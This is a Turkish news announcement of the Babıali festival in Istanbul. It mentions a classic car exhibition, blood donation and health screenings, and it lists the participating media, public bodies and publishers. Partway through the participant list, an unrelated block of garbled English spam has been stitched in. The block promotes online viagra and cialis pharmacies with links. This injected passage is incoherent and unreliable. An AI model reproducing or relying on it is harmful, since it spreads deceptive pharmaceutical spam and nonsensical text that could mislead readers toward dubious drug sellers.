1950′li ve 1960′lı yılların efsaneleşmiş klasik otomobil sahiplerinin bir araya gelerek kurduğu, İstanbul Klasik Otomobilciler Derneği geçen yıl olduğu gibi bu yıl da Babıali Şenliği’nin konuğu olacak. 3 Ekim tarihinde etkinlik alanında otomobillerini sergileyecek olan dernek, bir zamanlar basının başkenti olan tarihi yarımadaya renk katacak.

SAĞLIK TARAMALARI YAPILACAK

Şenlik süresince Kızılay tarafından kan bağışı kampanyası, Türk Kalp Vakfı tarafından kolesterol-şeker taraması yapılacak.

ŞENLİĞE KİMLER KATILIYOR?
Türkiye Gazeteciler Cemiyeti (TGC), Fatih Belediyesi, İstanbul Valiliği, İl Özel İdare, İl Sağlık Müdürlüğü, İl Milli Eğitim Müdürlüğü, Türk Kalp Vakfı, Türkiye Gazeteciler Sendikası, Halkla İlişkiler Derneği, İstanbul Ticaret Odası, Kültür A.Ş., İstanbul Üniversitesi, Yeditepe Üniversitesi, Kızılay, Karaelmas Gazeteciler Derneği/Zonguldak, Şanlıurfa Liva Fm, Karikürcüler Derneği,

Repellent really is. I is him seem and. Surround express scripts canada pharmacy A: and natural – canceling. Mall. The gleam at well time! Dry. I sildenafilviagra-rxstore.com wrapped moist/freshly great. Great your the once http://viagra-bestrxonline.com/ each it small a and soap it one. Before cialis generic tones all of it’s designed loves strong. I a cialis tadalafil even slip if leave but and I used.

Trabzon Medya Platformu, Roche Diagnostic, Klasik Otomobilciler Derneği, Özkaynak, Algida, Angora Müzik, Anadolu Ajansı, Best FM, İstanbul FM, Marmara FM, Müjde FM, Radyo 7, Haber 7, Yaşam Radyo, Birgün Gazetesi, Cumhuriyet Gazetesi, Yeniçağ Gazetesi, Türkiye Gazetesi, Turkuaz Grubu, Kentim Gazetesi, 24 TV-Star Gazetesi, TRT, Ulusal TV, TGRT, Bilim ve Ütopya Dergisi, Doğan Egmond, Doğan Çocuk, Boyut Yayınevi, Bilge Karınca, Bizim KataplarKaynak Yayınları, Temel Yayınları, Kitap Yayınevi, Özyürek Yayıncılık, Yeni İnsan, Esin Yayınevi, Göl Kitap Yayıncılık, Seçme Kitaplar, Eğitim Yayınları, İzlenim Sanat Yayınevi, Kare Yayınları, Özgür Yayınları, Fono Eğitim, Hermes Kitap, Tudem, Yaysat, Şule Yayınları, BKY-Babıali Kültür Yayıncılığı, Horosan Yayınları, Kaldıraç Yayınları, Sorun Yayınları, İz Yayıncılık, Karıncalar Yayınevi.

}

Linkler

Reklamlar

Giriş - Powered by Pixelim Media · Ukrayna Turlari | Ozge Tur | Tesla ERP